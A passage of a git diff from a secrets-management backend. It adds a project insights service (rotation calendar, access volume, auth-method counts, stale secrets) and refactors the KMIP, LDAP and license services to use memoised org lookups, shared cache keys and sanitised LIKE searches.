+  const fetchReminders = async (projectId: string, startDate: Date, endDate: Date) => {
+    const rawReminders = await reminderDAL.findByProjectAndDateRange({ projectId, startDate, endDate });
+    if (!rawReminders.length) return [];
+
+    const folderIds = [...new Set(rawReminders.map((r) => r.folderId))];
+    const foldersWithPath = await folderDAL.findSecretPathByFolderIds(projectId, folderIds);
+    const folderRecord: Record<string, string> = {};
+    foldersWithPath.forEach((folder) => {
+      if (folder) folderRecord[folder.id] = folder.path;
+    });
+
+    return rawReminders.map((r) => ({
+      id: r.id,
+      secretId: r.secretId ?? null,
+      secretKey: r.secretKey,
+      nextReminderDate: r.nextReminderDate,
+      message: r.message ?? null,
+      environment: r.envSlug,
+      secretPath: folderRecord[r.folderId] ?? "/",
+      repeatDays: r.repeatDays ?? null
+    }));
+  };
+
+  const getCalendar = async (dto: TGetInsightsCalendarDTO, actorDto: OrgServiceActor) => {
+    await checkInsightsPermission(permissionService, licenseService, dto.projectId, actorDto);
+
+    const cacheKey = KeyStorePrefixes.InsightsCache(dto.projectId, `calendar:${dto.year}-${dto.month}`);
+    return withCache({
+      keyStore,
+      key: cacheKey,
+      ttlSeconds: KeyStoreTtls.InsightsCacheInSeconds,
+      fetcher: async () => {
+        const { shouldUseSecretV2Bridge } = await projectBotService.getBotKey(dto.projectId);
+        if (!shouldUseSecretV2Bridge) throw new BadRequestError({ message: "Project version not supported" });
+
+        // Pad by 1 day on each side so events near month boundaries are captured
+        // regardless of the caller's timezone offset from UTC.
+        const startDate = new Date(Date.UTC(dto.year, dto.month - 1, 0));
+        const endDate = new Date(Date.UTC(dto.year, dto.month, 1, 23, 59, 59, 999));
+
+        const [rotations, reminders] = await Promise.all([
+          secretRotationV2DAL.findByProjectAndDateRange({ projectId: dto.projectId, startDate, endDate }),
+          fetchReminders(dto.projectId, startDate, endDate)
+        ]);
+
+        return {
+          rotations: rotations.map((r) => ({
+            id: r.id,
+            name: r.name,
+            type: r.type,
+            nextRotationAt: r.nextRotationAt ?? null,
+            environment: r.environment.slug,
+            secretPath: r.folder.path,
+            secretKeys: r.secretKeys,
+            rotationInterval: r.rotationInterval,
+            rotationStatus: r.rotationStatus,
+            isAutoRotationEnabled: r.isAutoRotationEnabled
+          })),
+          reminders
+        };
+      }
+    });
+  };
+
+  const getAccessVolume = async (dto: TGetAccessVolumeDTO, actorDto: OrgServiceActor) => {
+    await checkInsightsPermission(permissionService, licenseService, dto.projectId, actorDto);
+
+    const cacheKey = KeyStorePrefixes.InsightsCache(dto.projectId, "access-volume");
+    return withCache({
+      keyStore,
+      key: cacheKey,
+      ttlSeconds: KeyStoreTtls.InsightsCacheInSeconds,
+      fetcher: async () => {
+        const now = new Date();
+        const todayStr = now.toISOString().slice(0, 10);
+        const endDate = new Date(`${todayStr}T23:59:59.999Z`);
+        const startDate = new Date(`${todayStr}T00:00:00.000Z`);
+        startDate.setUTCDate(startDate.getUTCDate() - 6);
+
+        const rows = await auditLogDAL.countByDateAndActor({
+          orgId: actorDto.orgId,
+          projectId: dto.projectId,
+          eventTypes: VALUE_EVENT_TYPES,
+          startDate: startDate.toISOString(),
+          endDate: endDate.toISOString()
+        });
+
+        // Resolve user display names from userIds in audit log metadata
+        const userIds = [
+          ...new Set(
+            rows
+              .filter((r) => r.actor === ActorType.USER)
+              .map((r) => (r.actorMetadata as Record<string, string> | null)?.userId)
+              .filter(Boolean) as string[]
+          )
+        ];
+        const userNameMap = new Map<string, string>();
+        if (userIds.length > 0) {
+          const users = await userDAL.find({ $in: { id: userIds } });
+          users.forEach((u) => {
+            const displayName = [u.firstName, u.lastName].filter(Boolean).join(" ");
+            if (displayName) userNameMap.set(u.id, displayName);
+          });
+        }
+
+        // Pre-populate the last 7 days
+        const dayMap = new Map<string, Map<string, { name: string; type: string; count: number }>>();
+        for (let i = 6; i >= 0; i -= 1) {
+          const d = new Date(`${todayStr}T00:00:00.000Z`);
+          d.setUTCDate(d.getUTCDate() - i);
+          dayMap.set(d.toISOString().slice(0, 10), new Map());
+        }
+
+        rows.forEach((row) => {
+          const dateKey = typeof row.date === "string" ? row.date : new Date(row.date).toISOString().slice(0, 10);
+          const actorMap = dayMap.get(dateKey);
+          if (!actorMap) return;
+
+          const actorMeta = row.actorMetadata as Record<string, string> | null;
+          let actorName: string;
+          if (row.actor === ActorType.USER && actorMeta?.userId) {
+            actorName = userNameMap.get(actorMeta.userId) || actorMeta.email || actorMeta.username || "Unknown";
+          } else if (row.actor === ActorType.USER) {
+            actorName = actorMeta?.email || actorMeta?.username || "Unknown";
+          } else {
+            actorName = actorMeta?.name || actorMeta?.identityId || "Unknown";
+          }
+          const actorKey = `${row.actor}:${actorName}`;
+
+          const existing = actorMap.get(actorKey);
+          if (existing) {
+            existing.count += row.count;
+          } else {
+            actorMap.set(actorKey, { name: actorName, type: row.actor, count: row.count });
+          }
+        });
+
+        const days = Array.from(dayMap.entries()).map(([date, actorMap]) => {
+          const actors = Array.from(actorMap.values()).sort((a, b) => b.count - a.count);
+          const total = actors.reduce((sum, a) => sum + a.count, 0);
+          return { date, total, actors };
+        });
+
+        return { days };
+      }
+    });
+  };
+
+  // const getAccessLocations = async (dto: TGetAccessLocationsDTO, actorDto: OrgServiceActor) => {
+  //   await checkInsightsPermission(permissionService, licenseService, dto.projectId, actorDto);
+
+  //   const cacheKey = KeyStorePrefixes.InsightsCache(dto.projectId, `access-locations:${dto.days}`);
+  //   return withCache(cacheKey, async () => {
+  //     const endDate = new Date();
+  //     const startDate = new Date();
+  //     startDate.setUTCDate(startDate.getUTCDate() - dto.days);
+
+  //     const ipRows = await auditLogDAL.countByIpAddress({
+  //       orgId: actorDto.orgId,
+  //       projectId: dto.projectId,
+  //       eventTypes: VALUE_EVENT_TYPES,
+  //       startDate: startDate.toISOString(),
+  //       endDate: endDate.toISOString()
+  //     });
+
+  //     const locationMap = new Map<string, { lat: number; lng: number; city: string; country: string; count: number }>();
+
+  //     const isPrivateIp = (ip: string) =>
+  //       ip === "127.0.0.1" ||
+  //       ip === "::1" ||
+  //       ip === "::ffff:127.0.0.1" ||
+  //       ip.startsWith("10.") ||
+  //       ip.startsWith("172.16.") ||
+  //       ip.startsWith("172.17.") ||
+  //       ip.startsWith("172.18.") ||
+  //       ip.startsWith("172.19.") ||
+  //       ip.startsWith("172.20.") ||
+  //       ip.startsWith("172.21.") ||
+  //       ip.startsWith("172.22.") ||
+  //       ip.startsWith("172.23.") ||
+  //       ip.startsWith("172.24.") ||
+  //       ip.startsWith("172.25.") ||
+  //       ip.startsWith("172.26.") ||
+  //       ip.startsWith("172.27.") ||
+  //       ip.startsWith("172.28.") ||
+  //       ip.startsWith("172.29.") ||
+  //       ip.startsWith("172.30.") ||
+  //       ip.startsWith("172.31.") ||
+  //       ip.startsWith("192.168.");
+
+  //     ipRows.forEach(({ ipAddress: ip, count }) => {
+  //       if (isPrivateIp(ip)) {
+  //         const key = "Local Network:LOCAL";
+  //         const existing = locationMap.get(key);
+  //         if (existing) {
+  //           existing.count += count;
+  //         } else {
+  //           locationMap.set(key, { lat: 0, lng: 0, city: "Local Network", country: "LOCAL", count });
+  //         }
+  //         return;
+  //       }
+
+  //       const geo = geoip.lookup(ip);
+  //       if (!geo || !geo.ll) return;
+
+  //       const city = geo.city || geo.region || "";
+  //       const key = `${city}:${geo.country}`;
+  //       const existing = locationMap.get(key);
+  //       if (existing) {
+  //         existing.count += count;
+  //       } else {
+  //         locationMap.set(key, {
+  //           lat: geo.ll[0],
+  //           lng: geo.ll[1],
+  //           city,
+  //           country: geo.country,
+  //           count
+  //         });
+  //       }
+  //     });
+
+  //     return {
+  //       locations: Array.from(locationMap.values()).sort((a, b) => b.count - a.count)
+  //     };
+  //   });
+  // };
+
+  const getAuthMethodDistribution = async (dto: TGetAuthMethodDistributionDTO, actorDto: OrgServiceActor) => {
+    await checkInsightsPermission(permissionService, licenseService, dto.projectId, actorDto);
+
+    const cacheKey = KeyStorePrefixes.InsightsCache(dto.projectId, `auth-methods:${dto.days}`);
+    return withCache({
+      keyStore,
+      key: cacheKey,
+      ttlSeconds: KeyStoreTtls.InsightsCacheInSeconds,
+      fetcher: async () => {
+        const endDate = new Date();
+        const startDate = new Date();
+        startDate.setUTCDate(startDate.getUTCDate() - dto.days);
+
+        const authRows = await auditLogDAL.countByAuthMethod({
+          orgId: actorDto.orgId,
+          projectId: dto.projectId,
+          eventTypes: VALUE_EVENT_TYPES,
+          startDate: startDate.toISOString(),
+          endDate: endDate.toISOString()
+        });
+
+        const methodCounts = new Map<string, number>();
+
+        const authMethodLabels: Record<string, string> = {
+          email: "Email",
+          google: "Google",
+          github: "GitHub",
+          gitlab: "GitLab",
+          "okta-saml": "Okta SAML",
+          "azure-saml": "Azure SAML",
+          "jumpcloud-saml": "JumpCloud SAML",
+          "google-saml": "Google SAML",
+          "keycloak-saml": "Keycloak SAML",
+          ldap: "LDAP",
+          oidc: "OIDC"
+        };
+
+        const identityAuthMethodLabels: Record<IdentityAuthMethod, string> = {
+          [IdentityAuthMethod.UNIVERSAL_AUTH]: "Universal Auth",
+          [IdentityAuthMethod.TOKEN_AUTH]: "Token Auth",
+          [IdentityAuthMethod.KUBERNETES_AUTH]: "Kubernetes",
+          [IdentityAuthMethod.GCP_AUTH]: "GCP Auth",
+          [IdentityAuthMethod.AWS_AUTH]: "AWS Auth",
+          [IdentityAuthMethod.AZURE_AUTH]: "Azure Auth",
+          [IdentityAuthMethod.OIDC_AUTH]: "OIDC",
+          [IdentityAuthMethod.JWT_AUTH]: "JWT Auth",
+          [IdentityAuthMethod.LDAP_AUTH]: "LDAP Auth",
+          [IdentityAuthMethod.ALICLOUD_AUTH]: "AliCloud Auth",
+          [IdentityAuthMethod.TLS_CERT_AUTH]: "TLS Certificate",
+          [IdentityAuthMethod.OCI_AUTH]: "OCI Auth",
+          [IdentityAuthMethod.SPIFFE_AUTH]: "SPIFFE Auth"
+        };
+
+        authRows.forEach((row) => {
+          const actorMeta = row.actorMetadata as Record<string, unknown> | null;
+          let method = "Unknown";
+
+          if (row.actor === "user") {
+            const raw = (actorMeta?.authMethod as string) || "Unknown";
+            method = authMethodLabels[raw] || raw;
+          } else if (row.actor === "identity") {
+            const identityAuth = actorMeta?.authMethod as IdentityAuthMethod | undefined;
+            method = identityAuth ? identityAuthMethodLabels[identityAuth] || identityAuth : "Unknown";
+          } else if (row.actor === "service") {
+            method = "Service Token";
+          } else {
+            method = row.actor;
+          }
+
+          methodCounts.set(method, (methodCounts.get(method) || 0) + (row.count || 0));
+        });
+
+        const methods = Array.from(methodCounts.entries())
+          .map(([method, count]) => ({ method, count }))
+          .sort((a, b) => b.count - a.count);
+
+        return { methods };
+      }
+    });
+  };
+
+  const getSummary = async (dto: TGetInsightsSummaryDTO, actorDto: OrgServiceActor) => {
+    await checkInsightsPermission(permissionService, licenseService, dto.projectId, actorDto);
+
+    const cacheKey = KeyStorePrefixes.InsightsCache(
+      dto.projectId,
+      `summary:${dto.staleSecretsOffset ?? 0}:${dto.staleSecretsLimit ?? 50}`
+    );
+    return withCache({
+      keyStore,
+      key: cacheKey,
+      ttlSeconds: KeyStoreTtls.InsightsCacheInSeconds,
+      fetcher: async () => {
+        const { shouldUseSecretV2Bridge } = await projectBotService.getBotKey(dto.projectId);
+        if (!shouldUseSecretV2Bridge) throw new BadRequestError({ message: "Project version not supported" });
+
+        const now = new Date();
+        const in7Days = new Date(now);
+        in7Days.setDate(now.getDate() + 7);
+        const lookback90Days = new Date(now);
+        lookback90Days.setDate(now.getDate() - 90);
+        const staleThreshold = lookback90Days;
+
+        // Fetch upcoming rotations (by date range) and all failed rotations (no date filter) in parallel
+        // Use 90-day lookback to capture overdue items without unbounded historical queries
+        const [upcomingRotationsRaw, allProjectRotations, reminders] = await Promise.all([
+          secretRotationV2DAL.findByProjectAndDateRange({
+            projectId: dto.projectId,
+            startDate: lookback90Days,
+            endDate: in7Days
+          }),
+          secretRotationV2DAL.findByProject(dto.projectId),
+          fetchReminders(dto.projectId, lookback90Days, in7Days)
+        ]);
+
+        const mapRotation = (r: (typeof allProjectRotations)[number]) => ({
+          name: r.name,
+          environment: r.environment.slug,
+          secretPath: r.folder.path,
+          nextRotationAt: r.nextRotationAt ?? null,
+          rotationStatus: r.rotationStatus
+        });
+
+        const mapReminder = (r: (typeof reminders)[number]) => ({
+          secretKey: r.secretKey,
+          environment: r.environment,
+          secretPath: r.secretPath,
+          nextReminderDate: r.nextReminderDate
+        });
+
+        const upcomingRotations = upcomingRotationsRaw.map(mapRotation);
+
+        const failedRotations = allProjectRotations.filter((r) => r.rotationStatus === "failed").map(mapRotation);
+        const upcomingReminders = reminders.filter((r) => new Date(r.nextReminderDate) >= now).map(mapReminder);
+        const overdueReminders = reminders.filter((r) => new Date(r.nextReminderDate) < now).map(mapReminder);
+
+        const [rawStaleSecrets, totalStaleCount] = await Promise.all([
+          secretV2BridgeDAL.findStaleByProject(dto.projectId, staleThreshold, {
+            offset: dto.staleSecretsOffset ?? 0,
+            limit: dto.staleSecretsLimit ?? 50
+          }),
+          secretV2BridgeDAL.countStaleByProject(dto.projectId, staleThreshold)
+        ]);
+
+        // Resolve folder paths for stale secrets
+        const staleFolderIds = [...new Set(rawStaleSecrets.map((s) => s.folderId))];
+        const staleFolders = staleFolderIds.length
+          ? await folderDAL.findSecretPathByFolderIds(dto.projectId, staleFolderIds)
+          : [];
+        const staleFolderMap: Record<string, string> = {};
+        staleFolders.forEach((f) => {
+          if (f) staleFolderMap[f.id] = f.path;
+        });
+
+        const staleSecrets = rawStaleSecrets.map((s) => ({
+          key: s.key,
+          environment: s.environment,
+          secretPath: staleFolderMap[s.folderId] ?? "/",
+          updatedAt: s.updatedAt
+        }));
+
+        return {
+          upcomingRotations,
+          failedRotations,
+          upcomingReminders,
+          overdueReminders,
+          staleSecrets,
+          totalStaleCount
+        };
+      }
+    });
+  };
+
+  return {
+    getCalendar,
+    getAccessVolume,
+    // getAccessLocations,
+    getAuthMethodDistribution,
+    getSummary
+  };
+};
diff --git a/backend/src/ee/services/insights/insights-types.ts b/backend/src/ee/services/insights/insights-types.ts
new file mode 100644
index 00000000000..4705b5c6093
--- /dev/null
+++ b/backend/src/ee/services/insights/insights-types.ts
@@ -0,0 +1,25 @@
+export type TGetInsightsCalendarDTO = {
+  projectId: string;
+  month: number;
+  year: number;
+};
+
+export type TGetAccessVolumeDTO = {
+  projectId: string;
+};
+
+export type TGetAccessLocationsDTO = {
+  projectId: string;
+  days: number;
+};
+
+export type TGetAuthMethodDistributionDTO = {
+  projectId: string;
+  days: number;
+};
+
+export type TGetInsightsSummaryDTO = {
+  projectId: string;
+  staleSecretsOffset?: number;
+  staleSecretsLimit?: number;
+};
diff --git a/backend/src/ee/services/kmip/kmip-client-dal.ts b/backend/src/ee/services/kmip/kmip-client-dal.ts
index 2650ebad075..0a15ce7a9a0 100644
--- a/backend/src/ee/services/kmip/kmip-client-dal.ts
+++ b/backend/src/ee/services/kmip/kmip-client-dal.ts
@@ -3,6 +3,7 @@ import { Knex } from "knex";
 import { TDbClient } from "@app/db";
 import { TableName, TKmipClients } from "@app/db/schemas";
 import { DatabaseError } from "@app/lib/errors";
+import { sanitizeSqlLikeString } from "@app/lib/fn";
 import { ormify, selectAllTableCols } from "@app/lib/knex";
 import { OrderByDirection } from "@app/lib/types";
 
@@ -56,7 +57,7 @@ export const kmipClientDALFactory = (db: TDbClient) => {
         .where("projectId", projectId)
         .where((qb) => {
           if (search) {
-            void qb.whereILike("name", `%${search}%`);
+            void qb.whereILike("name", `%${sanitizeSqlLikeString(search)}%`);
           }
         })
         .select<
diff --git a/backend/src/ee/services/kmip/kmip-operation-service.ts b/backend/src/ee/services/kmip/kmip-operation-service.ts
index 25acdf11ecc..d635c1942bf 100644
--- a/backend/src/ee/services/kmip/kmip-operation-service.ts
+++ b/backend/src/ee/services/kmip/kmip-operation-service.ts
@@ -6,7 +6,6 @@ import { KmipOperationType, recordKmipOperationMetric } from "@app/lib/telemetry
 import { TKmsKeyDALFactory } from "@app/services/kms/kms-key-dal";
 import { TKmsServiceFactory } from "@app/services/kms/kms-service";
 import { KmsKeyUsage } from "@app/services/kms/kms-types";
-import { TProjectDALFactory } from "@app/services/project/project-dal";
 
 import { OrgPermissionKmipActions, OrgPermissionSubjects } from "../permission/org-permission";
 import { TPermissionServiceFactory } from "../permission/permission-service-types";
@@ -26,7 +25,6 @@ type TKmipOperationServiceFactoryDep = {
   kmsService: TKmsServiceFactory;
   kmsDAL: TKmsKeyDALFactory;
   kmipClientDAL: TKmipClientDALFactory;
-  projectDAL: Pick<TProjectDALFactory, "findById">;
   permissionService: Pick<TPermissionServiceFactory, "getOrgPermission">;
 };
 
@@ -35,7 +33,6 @@ export type TKmipOperationServiceFactory = ReturnType<typeof kmipOperationServic
 export const kmipOperationServiceFactory = ({
   kmsService,
   kmsDAL,
-  projectDAL,
   kmipClientDAL,
   permissionService
 }: TKmipOperationServiceFactoryDep) => {
@@ -470,8 +467,6 @@ export const kmipOperationServiceFactory = ({
       });
     }
 
-    const project = await projectDAL.findById(projectId);
-
     const kmsKey = await kmsService.importKeyMaterial({
       name,
       key: Buffer.from(key, "base64"),
@@ -479,7 +474,7 @@ export const kmipOperationServiceFactory = ({
       isReserved: false,
       projectId,
       keyUsage: KmsKeyUsage.ENCRYPT_DECRYPT,
-      orgId: project.orgId,
+      orgId: actorOrgId,
       kmipMetadata
     });
 
diff --git a/backend/src/ee/services/ldap-config/ldap-config-service.ts b/backend/src/ee/services/ldap-config/ldap-config-service.ts
index 7a21480f445..aae3b758f9e 100644
--- a/backend/src/ee/services/ldap-config/ldap-config-service.ts
+++ b/backend/src/ee/services/ldap-config/ldap-config-service.ts
@@ -14,6 +14,8 @@ import { addUsersToGroupByUserIds, removeUsersFromGroupByUserIds } from "@app/ee
 import { TUserGroupMembershipDALFactory } from "@app/ee/services/group/user-group-membership-dal";
 import { throwOnPlanSeatLimitReached } from "@app/ee/services/license/license-fns";
 import { BadRequestError, ForbiddenRequestError, NotFoundError } from "@app/lib/errors";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { blockLocalAndPrivateIpAddresses } from "@app/lib/validator";
 import { sanitizeEmail, validateEmail } from "@app/lib/validator/validate-email";
 import { TAuthLoginFactory } from "@app/services/auth/auth-login-service";
@@ -149,7 +151,7 @@ export const ldapConfigServiceFactory = ({
           "Failed to create LDAP configuration due to plan restriction. Upgrade plan to create LDAP configuration."
       });
 
-    const org = await orgDAL.findOrgById(orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindOrgById(orgId), () => orgDAL.findOrgById(orgId));
 
     if (!org) {
       throw new NotFoundError({ message: `Could not find organization with ID "${orgId}"` });
@@ -277,7 +279,7 @@ export const ldapConfigServiceFactory = ({
           "Failed to update LDAP configuration due to plan restriction. Upgrade plan to update LDAP configuration."
       });
 
-    const org = await orgDAL.findOrgById(orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindOrgById(orgId), () => orgDAL.findOrgById(orgId));
 
     if (!org) {
       throw new NotFoundError({ message: `Could not find organization with ID "${orgId}"` });
@@ -415,7 +417,6 @@ export const ldapConfigServiceFactory = ({
       });
     }
 
-    // Verify that the email domain (if verified on the platform) belongs to this org
     await verifyEmailDomainOwnership({ email, orgId, emailDomainDAL });
     const sanitizedEmail = sanitizeEmail(email);
     validateEmail(sanitizedEmail);
@@ -426,7 +427,7 @@ export const ldapConfigServiceFactory = ({
       aliasType: UserAliasType.LDAP
     });
 
-    const organization = await orgDAL.findOrgById(orgId);
+    const organization = await requestMemoize(requestMemoKeys.orgFindOrgById(orgId), () => orgDAL.findOrgById(orgId));
     if (!organization) throw new NotFoundError({ message: `Organization with ID '${orgId}' not found` });
 
     if (userAlias) {
@@ -631,7 +632,7 @@ export const ldapConfigServiceFactory = ({
 
       await smtpService.sendMail({
         template: SmtpTemplates.EmailVerification,
-        subjectLine: "Infisical confirmation code",
+        subjectLine: `Infisical confirmation code: ${token}`,
         recipients: [user.email],
         substitutions: {
           code: token
diff --git a/backend/src/ee/services/license/__mocks__/license-fns.ts b/backend/src/ee/services/license/__mocks__/license-fns.ts
index 7ea2ab6c1b1..721672bc32c 100644
--- a/backend/src/ee/services/license/__mocks__/license-fns.ts
+++ b/backend/src/ee/services/license/__mocks__/license-fns.ts
@@ -36,7 +36,9 @@ export const getDefaultOnPremFeatures = () => {
     enterpriseAppConnections: true,
     machineIdentityAuthTemplates: false,
     pkiLegacyTemplates: false,
-    emailDomainVerification: true
+    emailDomainVerification: true,
+    gatewayPool: false,
+    fips: true
   };
 };
 
diff --git a/backend/src/ee/services/license/license-fns.ts b/backend/src/ee/services/license/license-fns.ts
index b75ef22b5ee..15e350d2de2 100644
--- a/backend/src/ee/services/license/license-fns.ts
+++ b/backend/src/ee/services/license/license-fns.ts
@@ -105,6 +105,7 @@ export const getDefaultOnPremFeatures = (): TFeatureSet => ({
   projectTemplates: false,
   kmip: false,
   gateway: false,
+  gatewayPool: false,
   sshHostGroups: false,
   secretScanning: false,
   enterpriseSecretSyncs: false,
diff --git a/backend/src/ee/services/license/license-service.ts b/backend/src/ee/services/license/license-service.ts
index c8e311621f6..b8506d41444 100644
--- a/backend/src/ee/services/license/license-service.ts
+++ b/backend/src/ee/services/license/license-service.ts
@@ -10,11 +10,13 @@ import { CronJob } from "cron";
 import { Knex } from "knex";
 
 import { OrganizationActionScope } from "@app/db/schemas";
-import { TKeyStoreFactory } from "@app/keystore/keystore";
+import { KeyStorePrefixes, KeyStoreTtls, TKeyStoreFactory } from "@app/keystore/keystore";
 import { TEnvConfig } from "@app/lib/config/env";
 import { verifyOfflineLicense } from "@app/lib/crypto";
 import { BadRequestError, NotFoundError } from "@app/lib/errors";
 import { logger } from "@app/lib/logger";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { TOrgDALFactory } from "@app/services/org/org-dal";
 import { TProjectDALFactory } from "@app/services/project/project-dal";
 
@@ -63,9 +65,6 @@ export type TLicenseServiceFactory = ReturnType<typeof licenseServiceFactory>;
 const LICENSE_SERVER_CLOUD_LOGIN = "/api/auth/v1/license-server-login";
 const LICENSE_SERVER_ON_PREM_LOGIN = "/api/auth/v1/license-login";
 
-const LICENSE_SERVER_CLOUD_PLAN_TTL = 5 * 60; // 5 mins
-const FEATURE_CACHE_KEY = (orgId: string) => `infisical-cloud-plan-${orgId}`;
-
 export const licenseServiceFactory = ({
   orgDAL,
   permissionService,
@@ -201,7 +200,7 @@ export const licenseServiceFactory = ({
     logger.info(`getPlan: attempting to fetch plan for [orgId=${orgId}] [projectId=${projectId}]`);
     try {
       if (instanceType === InstanceType.Cloud) {
-        const cachedPlan = await keyStore.getItem(FEATURE_CACHE_KEY(orgId));
+        const cachedPlan = await keyStore.getItem(KeyStorePrefixes.LicenseCloudPlan(orgId));
         if (cachedPlan) {
           logger.info(`getPlan: plan fetched from cache [orgId=${orgId}] [projectId=${projectId}]`);
           return JSON.parse(cachedPlan) as TFeatureSet;
@@ -239,8 +238,8 @@ export const licenseServiceFactory = ({
         currentPlan.identitiesUsed = identityUsed;
 
         await keyStore.setItemWithExpiry(
-          FEATURE_CACHE_KEY(org.id),
-          LICENSE_SERVER_CLOUD_PLAN_TTL,
+          KeyStorePrefixes.LicenseCloudPlan(org.id),
+          KeyStoreTtls.LicenseCloudPlanInSeconds,
           JSON.stringify(currentPlan)
         );
 
@@ -252,8 +251,8 @@ export const licenseServiceFactory = ({
         `getPlan: encountered an error when fetching pan [orgId=${orgId}] [projectId=${projectId}] [error]`
       );
       await keyStore.setItemWithExpiry(
-        FEATURE_CACHE_KEY(orgId),
-        LICENSE_SERVER_CLOUD_PLAN_TTL,
+        KeyStorePrefixes.LicenseCloudPlan(orgId),
+        KeyStoreTtls.LicenseCloudPlanInSeconds,
         JSON.stringify(onPremFeatures)
       );
       return onPremFeatures;
@@ -264,7 +263,7 @@ export const licenseServiceFactory = ({
   };
 
   const refreshPlan = async (orgId: string) => {
-    await keyStore.deleteItem(FEATURE_CACHE_KEY(orgId));
+    await keyStore.deleteItem(KeyStorePrefixes.LicenseCloudPlan(orgId));
     if (instanceType === InstanceType.Cloud) {
       await getPlan(orgId);
     }
@@ -307,7 +306,7 @@ export const licenseServiceFactory = ({
           quantityIdentities
         });
       }
-      await keyStore.deleteItem(FEATURE_CACHE_KEY(rootOrgId));
+      await keyStore.deleteItem(KeyStorePrefixes.LicenseCloudPlan(rootOrgId));
     } else if (instanceType === InstanceType.EnterpriseOnPrem) {
       const usedSeats = await licenseDAL.countOfOrgMembers(null, tx);
       const usedIdentitySeats = await licenseDAL.countOrgUsersAndIdentities(null, tx);
@@ -391,7 +390,7 @@ export const licenseServiceFactory = ({
       OrgPermissionSubjects.Billing
     );
 
-    const organization = await orgDAL.findById(orgId);
+    const organization = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
     if (!organization) {
       throw new NotFoundError({
         message: `Organization with ID '${orgId}' not found`
@@ -406,7 +405,7 @@ export const licenseServiceFactory = ({
       `/api/license-server/v1/customers/${organization.customerId}/session/trial`,
       { success_url }
     );
-    await keyStore.deleteItem(FEATURE_CACHE_KEY(orgId));
+    await keyStore.deleteItem(KeyStorePrefixes.LicenseCloudPlan(orgId));
     return { url };
   };
 
@@ -430,7 +429,7 @@ export const licenseServiceFactory = ({
       OrgPermissionSubjects.Billing
     );
 
-    const organization = await orgDAL.findById(orgId);
+    const organization = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
     if (!organization) {
       throw new NotFoundError({
         message: "Organization not found"
@@ -498,7 +497,7 @@ export const licenseServiceFactory = ({
     });
     ForbiddenError.from(permission).throwUnlessCan(OrgPermissionBillingActions.Read, OrgPermissionSubjects.Billing);
 
-    const organization = await orgDAL.findById(orgId);
+    const organization = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
     if (!organization) {
       throw new NotFoundError({
         message: `Organization with ID '${orgId}' not found`
@@ -581,7 +580,7 @@ export const licenseServiceFactory = ({
     });
     ForbiddenError.from(permission).throwUnlessCan(OrgPermissionBillingActions.Read, OrgPermissionSubjects.Billing);
 
-    const organization = await orgDAL.findById(orgId);
+    const organization = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
     if (!organization) {
       throw new NotFoundError({
         message: `Organization with ID '${orgId}' not found`
@@ -625,7 +624,7 @@ export const licenseServiceFactory = ({
     });
     ForbiddenError.from(permission).throwUnlessCan(OrgPermissionBillingActions.Read, OrgPermissionSubjects.Billing);
 
-    const organization = await orgDAL.findById(orgId);
+    const organization = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
     if (!organization) {
       throw new NotFoundError({
         message: `Organization with ID '${orgId}' not found`
@@ -660,7 +659,7 @@ export const licenseServiceFactory = ({
       OrgPermissionSubjects.Billing
     );
 
-    const organization = await orgDAL.findById(orgId);
+    const organization = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
     if (!organization) {
       throw new NotFoundError({
         message: `Organization with ID '${orgId}' not found`
@@ -687,7 +686,7 @@ export const licenseServiceFactory = ({
     });
     ForbiddenError.from(permission).throwUnlessCan(OrgPermissionBillingActions.Read, OrgPermissionSubjects.Billing);
 
-    const organization = await orgDAL.findById(orgId);
+    const organization = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
     if (!organization) {
       throw new NotFoundError({
         message: `Organization with ID '${orgId}' not found`
@@ -724,7 +723,7 @@ export const licenseServiceFactory = ({
       OrgPermissionSubjects.Billing
     );
 
-    const organization = await orgDAL.findById(orgId);
+    const organization = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
     if (!organization) {
       throw new NotFoundError({
         message: `Organization with ID '${orgId}' not found`
@@ -763,7 +762,7 @@ export const licenseServiceFactory = ({
       OrgPermissionSubjects.Billing
     );
 
-    const organization = await orgDAL.findById(orgId);
+    const organization = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
     if (!organization) {
       throw new NotFoundError({
         message: `Organization with ID '${orgId}' not found`
@@ -799,7 +798,7 @@ export const licenseServiceFactory = ({
     });
     ForbiddenError.from(permission).throwUnlessCan(OrgPermissionBillingActions.Read, OrgPermissionSubjects.Billing);
 
-    const organization = await orgDAL.findById(orgId);
+    const organization = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
     if (!organization) {
       throw new NotFoundError({
         message: `Organization with ID '${orgId}' not found`
@@ -827,7 +826,7 @@ export const licenseServiceFactory = ({
       OrgPermissionSubjects.Billing
     );
 
-    const organization = await orgDAL.findById(orgId);
+    const organization = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
     if (!organization) {
       throw new NotFoundError({
         message: `Organization with ID '${orgId}' not found`
@@ -858,7 +857,7 @@ export const licenseServiceFactory = ({
       OrgPermissionSubjects.Billing
     );
 
-    const organization = await orgDAL.findById(orgId);
+    const organization = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
     if (!organization) {
       throw new NotFoundError({
         message: `Organization with ID '${orgId}' not found`
@@ -882,7 +881,7 @@ export const licenseServiceFactory = ({
     });
     ForbiddenError.from(permission).throwUnlessCan(OrgPermissionBillingActions.Read, OrgPermissionSubjects.Billing);
 
-    const organization = await orgDAL.findById(orgId);
+    const organization = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
     if (!organization) {
